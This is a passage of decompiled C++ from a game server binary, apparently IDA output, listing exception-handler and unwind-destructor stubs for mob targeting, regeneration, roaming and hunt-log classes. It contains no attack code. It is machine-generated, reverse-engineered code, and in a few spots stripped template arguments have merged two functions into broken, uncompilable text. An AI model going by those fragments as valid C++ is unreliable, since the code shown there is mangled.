(00591F88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SelectTarget_MobTargetSelector__UAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591FA0) -------------------------------------------------------- void __usercall _L159379(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00591FA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobTarget_EnemyAnalysis__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591FC0) -------------------------------------------------------- void __usercall _L159283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591FC8) -------------------------------------------------------- void __usercall _L159284(int a1) { MobTarget_AggroClear::_MobTarget_AggroClear((MobTarget_AggroClear *)(a1 - 24)); } //----- (00591FD0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_DecreaseAggroPoint_MobTargetBout__UAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591FE0) -------------------------------------------------------- void __usercall _L159344(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 20)); } //----- (00591FE8) -------------------------------------------------------- void __usercall _L159345(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591FF0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobTarget_EnemyAnalysis__QAE_PAVShineObject_ShineObjectClass__PAV__List_UMobTargetStruct_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592000) -------------------------------------------------------- void __usercall _L159527(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00592008) -------------------------------------------------------- void __usercall _L159528(int a1) { MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis((MobTarget_EnemyAnalysis *)(a1 - 32)); } //----- (00592010) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_Routine_MobTargetBout__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592020) -------------------------------------------------------- void __usercall _L159613(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592028) -------------------------------------------------------- void __usercall _L159614(int a1) { AxialListNearFriend::_AxialListNearFriend((AxialListNearFriend *)(a1 - 28)); } //----- (00592030) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_FindMyRaceTarget_ShineMob_ShineObjectClass__UAEPAV12_PBUMobDataBoxIndex_MobDataBox__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592040) -------------------------------------------------------- void __usercall _L159796(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592048) -------------------------------------------------------- void __usercall _L159797_0(int a1) { AxialListNPCTargetFind::_AxialListNPCTargetFind((AxialListNPCTargetFind *)(a1 - 28)); } //----- (00592050) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_CanNPCTarget_ShineMob_ShineObjectClass__UAEPAVShineObject_2_PBUMobDataBoxIndex_MobDataBox__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592060) -------------------------------------------------------- void __usercall _L160079(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592068) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UMobTargetStruct____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592080) -------------------------------------------------------- void __usercall _L160341(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00592088) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SelectTarget_MobTargetAggresive__UAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005920A0) -------------------------------------------------------- void __usercall _L160526(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005920A8) -------------------------------------------------------- void __usercall _L160536(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005920B0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_AggroClear_MobTargetBout__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005920C0) -------------------------------------------------------- void __usercall _L159483(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005920C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mceb_DetectBattleChat_MobChatElement_MobChat__UAEXPAVShineMob_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005920E0) -------------------------------------------------------- void __usercall _L159744(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005920EB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mcm_Load_MobChatManager_MobChat__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592100) -------------------------------------------------------- void __usercall _L73997(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592108) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdc_DeadCountGet_MobDeadCount__QAEHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592120) -------------------------------------------------------- void __usercall _L159278_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592128) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_IsDropping_ShineObject_ShineObjectClass__QAEEPAUItemTotalInformation__W4DataBase_2_EKGKPAVItemAttributeClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592160) -------------------------------------------------------- void __usercall _L176648(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592168) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mh_MobBreed_MobHatchery__QAEPAVMobBreeder_MobRegenClass__PBTName3__PAUSHINE_XY_TYPE__HGPADHHEHPATORToken__PBUPROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD__2GH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592180) -------------------------------------------------------- void __usercall _L164177(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00592188) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobBreederGroup_MobRegenClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005921A0) -------------------------------------------------------- void __usercall _L176115(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005921C0) -------------------------------------------------------- void __usercall _L164609(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005921D3) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQRegenTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005921E0) -------------------------------------------------------- void __usercall _L164632(int a1) { operator delete(*(void **)(a1 - 404)); } //----- (005921EE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqrt_Load_KQRegenTable__QAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592200) -------------------------------------------------------- void __usercall _L164667(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00592220) -------------------------------------------------------- void __usercall _L165359(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592228) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbg_SetEnableNextRegen_MobBreederGroup_MobRegenClass__QAEEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592240) -------------------------------------------------------- void __usercall _L165176(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00592248) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mb_regen_MobBreeder_MobRegenClass__AAEGPAV12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592260) -------------------------------------------------------- void __usercall _L165479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 596)); } //----- (0059226B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbg_View_MobBreederGroup_MobRegenClass__QAEEPAV__List_VMobBreederGroup_MobRegenClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592280) -------------------------------------------------------- void __usercall _L166124(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592288) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VMobBreederGroup_MobRegenClass____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005922A0) -------------------------------------------------------- void __usercall _L166879(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005922A8) -------------------------------------------------------- void __usercall _L166880(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005922BE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobBreederGroup_MobRegenClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005922D0) -------------------------------------------------------- void __usercall _L167513(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } //----- (005922E9) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobHatchery__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592300) -------------------------------------------------------- void __usercall _L168471(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00592308) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_KV__allocator_K_std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592320) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UMobSpeciesSlot_FamilyMobManagement__V__allocator_UMobSpeciesSlot_FamilyMobManagement___std___std__IAEXViterator_12_IABUMobSpeciesSlot_FamilyMobManagement___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592330) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UMobSpeciesSlot_FamilyMobManagement__V__allocator_UMobSpeciesSlot_FamilyMobManagement___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592340) -------------------------------------------------------- void __usercall _L172201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00592348) -------------------------------------------------------- void __usercall _L172227(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00592350) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_Regenerate_ShineMob_ShineObjectClass__UAE_AW4FM_MarkingError_FieldMap__PBTName3__HHHGGPBUPROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD__KPAVShineObject_2_PAVMobBreeder_MobRegenClass__HE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592360) -------------------------------------------------------- void __usercall _L172434(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592368) -------------------------------------------------------- void __usercall _L172435(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (00592370) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mb_Routine_MobBreeder_MobRegenClass__QAEEPAV__List_VMobBreeder_MobRegenClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592391) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUFamilyMob_FamilyMobManagement__PAU12_V__allocator_UFamilyMob_FamilyMobManagement___std___std__YAPAUFamilyMob_FamilyMobManagement__PAU12_00AAV__allocator_UFamilyMob_FamilyMobManagement___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005923B1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUFamilyMob_FamilyMobManagement__IU12_V__allocator_UFamilyMob_FamilyMobManagement___std___std__YAXPAUFamilyMob_FamilyMobManagement__IABU12_AAV__allocator_UFamilyMob_FamilyMobManagement___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005923C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UFamilyMob_FamilyMobManagement__V__allocator_UFamilyMob_FamilyMobManagement___std___std__IAEXViterator_12_IABUFamilyMob_FamilyMobManagement___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005923E0) -------------------------------------------------------- void __usercall _L174323(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005923E8) -------------------------------------------------------- void __usercall _L174324(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (005923F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fmm_Remove_FamilyMobManager_FamilyMobManagement__QAEXPAVMobBreeder_MobRegenClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592400) -------------------------------------------------------- void __usercall _L174821(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00592408) -------------------------------------------------------- void __usercall _L174822(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00592410) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fmm_Regist_FamilyMobManager_FamilyMobManagement__QAEXPAVMobBreeder_MobRegenClass__GH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592420) -------------------------------------------------------- void __usercall _L176323(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 468)); } //----- (0059242B) -------------------------------------------------------- void __usercall _L176324(int a1) { SafePointer::_SafePointer((SafePointer *)(a1 - 480)); } //----- (00592436) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mh_Load_MobHatchery__QAEXPATName4__PATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592440) -------------------------------------------------------- void __usercall _L158132(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592448) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhl_SendAll2Log_MobHuntLog_HuntLog__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592460) -------------------------------------------------------- void __usercall _L158188(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00592468) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UMobHuntElement_HuntLog____QAEPAUMobHuntElement_HuntLog__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592480) -------------------------------------------------------- void __usercall _L158225(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00592488) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhl_Logging_MobHuntLog_HuntLog__QAEXPAVShinePlayer_ShineObjectClass__GK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005924A0) -------------------------------------------------------- void __usercall _L158276(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (005924A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__CommonList_UMobHuntElement_HuntLog____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005924C0) -------------------------------------------------------- void __usercall _L151247(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005924C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_NextPathPoint_ShineMob_ShineObjectClass__QAEEPAH00_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005924E0) -------------------------------------------------------- void __usercall _L155992(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005924E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592500) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_PAVShineObject_ShineObjectClass__V__allocator_PAVShineObject_ShineObjectClass___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592510) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPathElement_MobRoaming__V__allocator_UPathElement_MobRoaming___std___std__IAEXViterator_12_IABUPathElement_MobRoaming___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592520) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UPathElement_MobRoaming__V__allocator_UPathElement_MobRoaming___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592530) -------------------------------------------------------- void __usercall _L154852(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00592558) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mrs_Get_MobRoamingSet_MobRoaming__QAEPAVMobRoamingPath_2_PATORToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592581) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___std__IAEPAU_Node____Tree_nod_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___2_PAU342_00ABVMobRoamingPath_MobRoaming__D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592590) -------------------------------------------------------- void __usercall _L156839(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0059259B) -------------------------------------------------------- void __usercall _L156840(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005925BB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mrs_Load_MobRoamingSet_MobRoaming__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005925D0) -------------------------------------------------------- void __usercall _L160877(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (005925D8) -------------------------------------------------------- void __usercall _L160878(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005925E3) -------------------------------------------------------- void __usercall _L160879(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (005925EE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobActionWander_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592600) -------------------------------------------------------- void __usercall _L164894(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00592608) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionRoaming_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592620) -------------------------------------------------------- void __usercall _L162155(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00592628) -------------------------------------------------------- void __usercall _L162156(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00592630) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_RunTo_MobActionBase_MobTacticElement__QAEXPAVShineMobileObject_ShineObjectClass__PAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592640) -------------------------------------------------------- void __usercall _L162283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (0059264B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionTargetting_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592660) -------------------------------------------------------- void __usercall _L162529(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00592668) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionTurning_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592680) -------------------------------------------------------- void __usercall _L162803(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00592688) -------------------------------------------------------- void __usercall _L162804(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00592690) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionBackStep_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005926A0) -------------------------------------------------------- void __usercall _L163127(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005926A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionAvoidOverlap_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005926C0) -------------------------------------------------------- void __usercall _L163415(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005926C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_RandomDirectWalk_MobActionBase_MobTacticElement__QAEPAV12_PAVShineMobileObject_ShineObjectClass__HPAV12_1PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005926E0) -------------------------------------------------------- void __usercall _L163705(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- 